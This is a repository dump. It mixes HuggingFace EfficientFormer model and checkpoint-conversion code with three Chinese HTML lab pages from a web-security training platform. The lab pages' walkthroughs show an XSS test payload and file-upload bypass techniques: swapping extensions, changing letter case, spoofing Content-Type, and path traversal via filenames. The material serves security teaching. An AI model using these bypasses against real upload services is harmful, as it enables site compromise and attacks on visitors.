sequence_output = self.layernorm(sequence_output)
if not return_dict:
head_outputs = (sequence_output,)
return head_outputs + encoder_outputs[1:]
return BaseModelOutput(
last_hidden_state=sequence_output,
hidden_states=encoder_outputs.hidden_states,
attentions=encoder_outputs.attentions,
)
@add_start_docstrings(
"""
EfficientFormer Model transformer with an image classification head on top (a linear layer on top of the final
hidden state of the [CLS] token) e.g. for ImageNet.
""",
EFFICIENTFORMER_START_DOCSTRING,
)
class EfficientFormerForImageClassification(EfficientFormerPreTrainedModel):
def __init__(self, config: EfficientFormerConfig):
super().__init__(config)
self.num_labels = config.num_labels
self.efficientformer = EfficientFormerModel(config)
# Classifier head
self.classifier = (
nn.Linear(config.hidden_sizes[-1], config.num_labels) if config.num_labels > 0 else nn.Identity()
)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(EFFICIENTFORMER_INPUTS_DOCSTRING)
@add_code_sample_docstrings(
checkpoint=_IMAGE_CLASS_CHECKPOINT,
output_type=ImageClassifierOutput,
config_class=_CONFIG_FOR_DOC,
expected_output=_IMAGE_CLASS_EXPECTED_OUTPUT,
)
def forward(
self,
pixel_values: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[tuple, ImageClassifierOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for computing the image classification/regression loss. Indices should be in `[0, ...,
config.num_labels - 1]`. If `config.num_labels == 1` a regression loss is computed (Mean-Square loss), If
`config.num_labels > 1` a classification loss is computed (Cross-Entropy).
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.efficientformer(
pixel_values,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
logits = self.classifier(sequence_output.mean(-2))
loss = None
if labels is not None:
if self.config.problem_type is None:
if self.num_labels == 1:
self.config.problem_type = "regression"
elif self.num_labels > 1 and (labels.dtype == torch.long or labels.dtype == torch.int):
self.config.problem_type = "single_label_classification"
else:
self.config.problem_type = "multi_label_classification"
if self.config.problem_type == "regression":
loss_fct = MSELoss()
if self.num_labels == 1:
loss = loss_fct(logits.squeeze(), labels.squeeze())
else:
loss = loss_fct(logits, labels)
elif self.config.problem_type == "single_label_classification":
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
elif self.config.problem_type == "multi_label_classification":
loss_fct = BCEWithLogitsLoss()
loss = loss_fct(logits, labels)
if not return_dict:
output = (logits,) + outputs[1:]
return ((loss,) + output) if loss is not None else output
return ImageClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@dataclass
class EfficientFormerForImageClassificationWithTeacherOutput(ModelOutput):
"""
Output type of [`EfficientFormerForImageClassificationWithTeacher`].
Args:
logits (`torch.FloatTensor` of shape `(batch_size, config.num_labels)`):
Prediction scores as the average of the cls_logits and distillation logits.
cls_logits (`torch.FloatTensor` of shape `(batch_size, config.num_labels)`):
Prediction scores of the classification head (i.e. the linear layer on top of the final hidden state of the
class token).
distillation_logits (`torch.FloatTensor` of shape `(batch_size, config.num_labels)`):
Prediction scores of the distillation head (i.e. the linear layer on top of the final hidden state of the
distillation token).
hidden_states (`tuple(torch.FloatTensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer) of
shape `(batch_size, sequence_length, hidden_size)`. Hidden-states of the model at the output of each layer
plus the initial embedding outputs.
attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`. Attentions weights after the attention softmax, used to compute the weighted average in
the self-attention heads.
"""
logits: torch.FloatTensor = None
cls_logits: torch.FloatTensor = None
distillation_logits: torch.FloatTensor = None
hidden_states: Optional[Tuple[torch.FloatTensor]] = None
attentions: Optional[Tuple[torch.FloatTensor]] = None
@add_start_docstrings(
"""
EfficientFormer Model transformer with image classification heads on top (a linear layer on top of the final hidden
state of the [CLS] token and a linear layer on top of the final hidden state of the distillation token) e.g. for
ImageNet.
<Tip warning={true}>
This model supports inference-only. Fine-tuning with distillation (i.e. with a teacher) is not yet
supported.
</Tip>
""",
EFFICIENTFORMER_START_DOCSTRING,
)
class EfficientFormerForImageClassificationWithTeacher(EfficientFormerPreTrainedModel):
def __init__(self, config: EfficientFormerConfig):
super().__init__(config)
self.num_labels = config.num_labels
self.efficientformer = EfficientFormerModel(config)
# Classifier head
self.classifier = nn.Linear(config.hidden_size, config.num_labels) if config.num_labels > 0 else nn.Identity()
# Distillation head
self.distillation_classifier = (
nn.Linear(config.hidden_size, config.num_labels) if config.num_labels > 0 else nn.Identity()
)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(EFFICIENTFORMER_INPUTS_DOCSTRING)
@add_code_sample_docstrings(
checkpoint=_IMAGE_CLASS_CHECKPOINT,
output_type=EfficientFormerForImageClassificationWithTeacherOutput,
config_class=_CONFIG_FOR_DOC,
expected_output=_IMAGE_CLASS_EXPECTED_OUTPUT,
)
def forward(
self,
pixel_values: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[tuple, EfficientFormerForImageClassificationWithTeacherOutput]:
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.efficientformer(
pixel_values,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
cls_logits = self.classifier(sequence_output.mean(-2))
distillation_logits = self.distillation_classifier(sequence_output.mean(-2))
# during inference, return the average of both classifier predictions
logits = (cls_logits + distillation_logits) / 2
if not return_dict:
output = (logits, cls_logits, distillation_logits) + outputs[1:]
return output
return EfficientFormerForImageClassificationWithTeacherOutput(
logits=logits,
cls_logits=cls_logits,
distillation_logits=distillation_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
|
2740908911/Pilot-Web | 8,455 | pilot-client/pages/upload/server_2.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>文件上传-后端校验类型</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>后端校验类型</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header">
<h3 class="card-title">图片上传</h3>
</div>
<form action="" onsubmit="return false;">
<div class="card-body">
<div class="form-group">
<div class="input-group">
<div class="custom-file">
<input type="file" class="custom-file-input" id="inputFile" onchange="checkFileExt(this.value)">
<label class="custom-file-label" for="inputFile">请选择需要上传的图片</label>
</div>
</div>
</div>
</div>
<div class="card-footer">
<button type="submit" class="btn btn-primary" onclick="uploadImage()">上传</button>
</div>
</form>
</div>
<table class="table table-bordered">
<thead>
<tr>
<th>编号</th>
<th>文件名</th>
<th>上传时间</th>
<th>操作</th>
</tr>
</thead>
<tbody id="FileData">
</tbody>
</table>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>黑名单?不止如此!所以你要不看看你在传什么东西?!</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面,发现只能上传图片;准备一个可造成XSS的HTML文件或PDF文件:</span></p><ul><li><p><span>例如在HTML文件中写入</span><code><img src=1 onerror=alert(1)></code></p></li></ul></li><li><p><span>通过F12找到上传检查的代码,发现并无限制。选择文件,抓包上传:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-1.png" referrerpolicy="no-referrer" alt="l3-1"></div></p></li><li><p><span>上传失败,修改后缀为</span><code>.htm</code><span>进行绕过,发现依旧无法上传:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-2.png" referrerpolicy="no-referrer" alt="l3-2"></div></p></li><li><p><span>同时修改</span><code>Content-Type</code><span>值为</span><code>image/jpeg</code><span>,尝试绕过类型检查:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-3.png" referrerpolicy="no-referrer" alt="l3-3"></div></p></li><li><p><span>成功上传,且可以访问造成XSS:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-4.png" referrerpolicy="no-referrer" alt="l3-4"></div></p></li><li><p><span>除此之外,还可能对图片特有的文件头进行检查,或采用白名单限制,提高安全性。</span></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在后端验证文件类型时,使用了不全面的黑名单且判断方式过于简单,同时暴露了上传文件的地址,存在很大的安全隐患:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-3.html" width="100%" height="1135px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-2.html" width="100%" height="4230px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("文件上传", ["后端校验类型"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
function uploadImage() {
var fileInput = document.getElementById('inputFile');
var file = fileInput.files[0];
if (!file) {
$("#notice")[0].innerHTML = generateNote("请先选择文件,再进行上传");
return;
}
var formData = new FormData();
formData.append('file', file);
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/upload/l3/client',
type: 'POST',
data: formData,
contentType: false,
processData: false,
success: function(data) {
if (data.status === "200") {
$("#notice")[0].innerHTML = generateNote('文件上传成功!');
fetchFilesAndUpdateUI();
} else {
$("#notice")[0].innerHTML = generateNote('上传失败: ' + data.msg);
}
},
error: function(xhr, status, error) {
console.error('上传失败:', error);
}
});
}
function deleteFile(hashname) {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/upload/l3/delfile',
type: 'GET',
data: {
file: hashname
},
success: function(response) {
if (response.status === "200") {
$("#notice")[0].innerHTML = generateNote("删除成功!");
fetchFilesAndUpdateUI();
} else {
$("#notice")[0].innerHTML = generateNote("删除失败: " + response.msg);
}
},
error: function(xhr, status, error) {
console.error("请求删除文件失败:", error);
}
});
}
function checkFileExt(filename) {
var fileLabel = document.querySelector('label[for="inputFile"]');
var fileName = filename.split('\\').pop();
fileLabel.textContent = fileName;
return true;
}
function fetchFilesAndUpdateUI() {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/upload/l3/getfile',
type: 'GET',
dataType: 'json',
success: function(response) {
if (response.status === "200" && response.msg.length > 0) {
var fileDataHtml = '';
response.msg.forEach(function(file, index) {
fileDataHtml += '<tr>' +
'<td>' + (index + 1) + '</td>' +
'<td>' + file.FILENAME + '</td>' +
'<td>' + file.TIME + '</td>' +
'<td>' +
'<a href="http://{ENV:NET_IP}:{ENV:NGINX_PORT}/pages/upload/' + file.HASHNAME + '" target="_blank" style="color: #53aefd; margin-right: 15px;">下载/预览</a>' +
'<a href="#" style="color: red;" onclick="deleteFile(\'' + file.HASHNAME + '\');">删除</a>' +
'</td>' +
'</tr>';
});
$("#FileData").html(fileDataHtml);
}
},
error: function(xhr, status, error) {
console.error("获取文件列表失败:", error);
}
});
}
fetchFilesAndUpdateUI();
</script>
</body>
</html> |
2740908911/Pilot-Web | 8,160 | pilot-client/pages/upload/upload_dir.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>文件上传-目录穿越</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>目录穿越</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header">
<h3 class="card-title">图片上传</h3>
</div>
<form action="" onsubmit="return false;">
<div class="card-body">
<div class="form-group">
<div class="input-group">
<div class="custom-file">
<input type="file" class="custom-file-input" id="inputFile" onchange="checkFileExt(this.value)">
<label class="custom-file-label" for="inputFile">请选择需要上传的图片</label>
</div>
</div>
</div>
</div>
<div class="card-footer">
<button type="submit" class="btn btn-primary" onclick="uploadImage()">上传</button>
</div>
</form>
</div>
<table class="table table-bordered">
<thead>
<tr>
<th>编号</th>
<th>文件名</th>
<th>上传时间</th>
<th>操作</th>
</tr>
</thead>
<tbody id="FileData">
</tbody>
</table>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>为什么要暴露文件名和储存地址!?</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面,发现只能上传图片;准备一个可造成XSS的HTML文件或PDF文件:</span></p><ul><li><p><span>例如在HTML文件中写入</span><code><img src=1 onerror=alert(1)></code></p></li></ul></li><li><p><span>通过F12找到上传检查的代码,发现并无限制。选择文件,抓包上传:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l4-1.png" referrerpolicy="no-referrer" alt="l4-1"></div></p></li><li><p><span>发现并没有任何过滤即可上传,且未对文件加密,并返回了文件存储路径。</span></p></li><li><p><span>尝试修改文件名,看能否穿越目录上传恶意HTML文件:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l4-2.png" referrerpolicy="no-referrer" alt="l4-2"></div></p></li><li><p><span>成功上传至上一级目录,并造成XSS:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l4-3.png" referrerpolicy="no-referrer" alt="l4-3"></div></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在后端接收上传数据时,直接通过名字拼接路径存储,同时回显了上传地址,可造成目录穿越:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-4.html" width="100%" height="815px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-3.html" width="100%" height="3230px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("文件上传", ["目录穿越"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
function uploadImage() {
var fileInput = document.getElementById('inputFile');
var file = fileInput.files[0];
if (!file) {
$("#notice")[0].innerHTML = generateNote("请先选择文件,再进行上传");
return;
}
var formData = new FormData();
formData.append('file', file);
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/upload/l4/client',
type: 'POST',
data: formData,
contentType: false,
processData: false,
success: function(data) {
if (data.status === "200") {
$("#notice")[0].innerHTML = generateNote('文件上传成功!');
fetchFilesAndUpdateUI();
} else {
$("#notice")[0].innerHTML = generateNote('上传失败: ' + data.msg);
}
},
error: function(xhr, status, error) {
console.error('上传失败:', error);
}
});
}
function deleteFile(hashname) {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/upload/l4/delfile',
type: 'GET',
data: {
file: hashname
},
success: function(response) {
if (response.status === "200") {
$("#notice")[0].innerHTML = generateNote("删除成功!");
fetchFilesAndUpdateUI();
} else {
$("#notice")[0].innerHTML = generateNote("删除失败: " + response.msg);
}
},
error: function(xhr, status, error) {
console.error("请求删除文件失败:", error);
}
});
}
function checkFileExt(filename) {
var fileLabel = document.querySelector('label[for="inputFile"]');
var fileName = filename.split('\\').pop();
fileLabel.textContent = fileName;
return true;
}
function fetchFilesAndUpdateUI() {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/upload/l4/getfile',
type: 'GET',
dataType: 'json',
success: function(response) {
if (response.status === "200" && response.msg.length > 0) {
var fileDataHtml = '';
response.msg.forEach(function(file, index) {
fileDataHtml += '<tr>' +
'<td>' + (index + 1) + '</td>' +
'<td>' + file.FILENAME + '</td>' +
'<td>' + file.TIME + '</td>' +
'<td>' +
'<a href="http://{ENV:NET_IP}:{ENV:NGINX_PORT}/pages/upload/' + file.HASHNAME + '" target="_blank" style="color: #53aefd; margin-right: 15px;">下载/预览</a>' +
'<a href="#" style="color: red;" onclick="deleteFile(\'' + file.HASHNAME + '\');">删除</a>' +
'</td>' +
'</tr>';
});
$("#FileData").html(fileDataHtml);
}
},
error: function(xhr, status, error) {
console.error("获取文件列表失败:", error);
}
});
}
fetchFilesAndUpdateUI();
</script>
</body>
</html> |
2740908911/Pilot-Web | 8,703 | pilot-client/pages/upload/server_1.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>文件上传-后端后缀黑名单</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>后端后缀黑名单</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header">
<h3 class="card-title">图片上传</h3>
</div>
<form action="" onsubmit="return false;">
<div class="card-body">
<div class="form-group">
<div class="input-group">
<div class="custom-file">
<input type="file" class="custom-file-input" id="inputFile" onchange="checkFileExt(this.value)">
<label class="custom-file-label" for="inputFile">请选择需要上传的图片</label>
</div>
</div>
</div>
</div>
<div class="card-footer">
<button type="submit" class="btn btn-primary" onclick="uploadImage()">上传</button>
</div>
</form>
</div>
<table class="table table-bordered">
<thead>
<tr>
<th>编号</th>
<th>文件名</th>
<th>上传时间</th>
<th>操作</th>
</tr>
</thead>
<tbody id="FileData">
</tbody>
</table>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>谁能保证黑名单就一定能完美过滤呢?也许这就是白名单的优势吧!</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面,发现只能上传图片;准备一个可造成XSS的HTML文件或PDF文件:</span></p><ul><li><p><span>例如在HTML文件中写入</span><code><img src=1 onerror=alert(1)></code></p></li></ul></li><li><p><span>通过F12找到上传检查的代码,发现并无限制。选择文件,抓包上传:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-1.png" referrerpolicy="no-referrer" alt="l2-1"></div></p></li><li><p><span>发现后端加入了文件类型判断,考虑进行绕过。</span></p></li><li><p><span>绕过方式1:尝试未被屏蔽的其他后缀替代,如</span><code>html->htm</code><span>、</span><code>php->php5</code><span>、</span><code>docx->doc</code></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-2.png" referrerpolicy="no-referrer" alt="l2-2"></div></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-3.png" referrerpolicy="no-referrer" alt="l2-3"></div></p></li><li><p><span>绕过方式2:尝试使用大小写绕过,如</span><code>html->Html</code></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-4.png" referrerpolicy="no-referrer" alt="l2-4"></div></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-5.png" referrerpolicy="no-referrer" alt="l2-5"></div></p></li><li><p><span>除此之外,还有一些绕过方式不适合本题(代码写法和Linux系统原因):双写绕过、后缀加</span><code>.</code><span>、后缀加空格或其他非法字符、</span><code>::$DATA</code><span>绕过、%00截断绕过等。</span></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在后端验证文件类型时,使用了不全面的黑名单且判断方式过于单一简单,同时暴露了上传文件的地址,存在很大的安全隐患:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-2.html" width="100%" height="1015px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-2.html" width="100%" height="4230px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("文件上传", ["后端后缀黑名单"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
function uploadImage() {
var fileInput = document.getElementById('inputFile');
var file = fileInput.files[0];
if (!file) {
$("#notice")[0].innerHTML = generateNote("请先选择文件,再进行上传");
return;
}
var formData = new FormData();
formData.append('file', file);
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/upload/l2/client',
type: 'POST',
data: formData,
contentType: false,
processData: false,
success: function(data) {
if (data.status === "200") {
$("#notice")[0].innerHTML = generateNote('文件上传成功!');
fetchFilesAndUpdateUI();
} else {
$("#notice")[0].innerHTML = generateNote('上传失败: ' + data.msg);
}
},
error: function(xhr, status, error) {
console.error('上传失败:', error);
}
});
}
function deleteFile(hashname) {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/upload/l2/delfile',
type: 'GET',
data: {
file: hashname
},
success: function(response) {
if (response.status === "200") {
$("#notice")[0].innerHTML = generateNote("删除成功!");
fetchFilesAndUpdateUI();
} else {
$("#notice")[0].innerHTML = generateNote("删除失败: " + response.msg);
}
},
error: function(xhr, status, error) {
console.error("请求删除文件失败:", error);
}
});
}
function checkFileExt(filename) {
var fileLabel = document.querySelector('label[for="inputFile"]');
var fileName = filename.split('\\').pop();
fileLabel.textContent = fileName;
return true;
}
function fetchFilesAndUpdateUI() {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/upload/l2/getfile',
type: 'GET',
dataType: 'json',
success: function(response) {
if (response.status === "200" && response.msg.length > 0) {
var fileDataHtml = '';
response.msg.forEach(function(file, index) {
fileDataHtml += '<tr>' +
'<td>' + (index + 1) + '</td>' +
'<td>' + file.FILENAME + '</td>' +
'<td>' + file.TIME + '</td>' +
'<td>' +
'<a href="http://{ENV:NET_IP}:{ENV:NGINX_PORT}/pages/upload/' + file.HASHNAME + '" target="_blank" style="color: #53aefd; margin-right: 15px;">下载/预览</a>' +
'<a href="#" style="color: red;" onclick="deleteFile(\'' + file.HASHNAME + '\');">删除</a>' +
'</td>' +
'</tr>';
});
$("#FileData").html(fileDataHtml);
}
},
error: function(xhr, status, error) {
console.error("获取文件列表失败:", error);
}
});
}
fetchFilesAndUpdateUI();
</script>
</body>
</html> |
27182812/ChatGLM-LLaMA-chinese-insturct | 9,383 | src/transformers/models/efficientformer/convert_efficientformer_original_pytorch_checkpoint_to_pytorch.py | # coding=utf-8
# Copyright 2022 The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Convert EfficientFormer checkpoints from the original repository.
URL: https://github.com/snap-research/EfficientFormer
"""
import argparse
import re
from pathlib import Path
import requests
import torch
from PIL import Image
from torchvision.transforms import CenterCrop, Compose, Normalize, Resize, ToTensor
from transformers import (
EfficientFormerConfig,
EfficientFormerForImageClassificationWithTeacher,
EfficientFormerImageProcessor,
)
from transformers.image_utils import IMAGENET_DEFAULT_MEAN, IMAGENET_DEFAULT_STD, PILImageResampling
def rename_key(old_name, num_meta4D_last_stage):
new_name = old_name
if "patch_embed" in old_name:
_, layer, param = old_name.split(".")
if layer == "0":
new_name = old_name.replace("0", "convolution1")
elif layer == "1":
new_name = old_name.replace("1", "batchnorm_before")
elif layer == "3":
new_name = old_name.replace("3", "convolution2")
else:
new_name = old_name.replace("4", "batchnorm_after")
if "network" in old_name and re.search("\d\.\d", old_name):
two_digit_num = r"\b\d{2}\b"
if bool(re.search(two_digit_num, old_name)):
match = re.search("\d\.\d\d.", old_name).group()
else:
match = re.search("\d\.\d.", old_name).group()
if int(match[0]) < 6:
trimmed_name = old_name.replace(match, "")
trimmed_name = trimmed_name.replace("network", match[0] + ".meta4D_layers.blocks." + match[2:-1])
new_name = "intermediate_stages." + trimmed_name
else:
trimmed_name = old_name.replace(match, "")
if int(match[2]) < num_meta4D_last_stage:
trimmed_name = trimmed_name.replace("network", "meta4D_layers.blocks." + match[2])
else:
layer_index = str(int(match[2]) - num_meta4D_last_stage)
trimmed_name = trimmed_name.replace("network", "meta3D_layers.blocks." + layer_index)
if "norm1" in old_name:
trimmed_name = trimmed_name.replace("norm1", "layernorm1")
elif "norm2" in old_name:
trimmed_name = trimmed_name.replace("norm2", "layernorm2")
elif "fc1" in old_name:
trimmed_name = trimmed_name.replace("fc1", "linear_in")
elif "fc2" in old_name:
trimmed_name = trimmed_name.replace("fc2", "linear_out")
new_name = "last_stage." + trimmed_name
elif "network" in old_name and re.search(".\d.", old_name):
new_name = old_name.replace("network", "intermediate_stages")
if "fc" in new_name:
new_name = new_name.replace("fc", "convolution")
elif ("norm1" in new_name) and ("layernorm1" not in new_name):
new_name = new_name.replace("norm1", "batchnorm_before")
elif ("norm2" in new_name) and ("layernorm2" not in new_name):
new_name = new_name.replace("norm2", "batchnorm_after")
if "proj" in new_name:
new_name = new_name.replace("proj", "projection")
if "dist_head" in new_name:
new_name = new_name.replace("dist_head", "distillation_classifier")
elif "head" in new_name:
new_name = new_name.replace("head", "classifier")
elif "patch_embed" in new_name:
new_name = "efficientformer." + new_name
elif new_name == "norm.weight" or new_name == "norm.bias":
new_name = new_name.replace("norm", "layernorm")
new_name = "efficientformer." + new_name
else:
new_name = "efficientformer.encoder." + new_name
return new_name
def convert_torch_checkpoint(checkpoint, num_meta4D_last_stage):
for key in checkpoint.copy().keys():
val = checkpoint.pop(key)
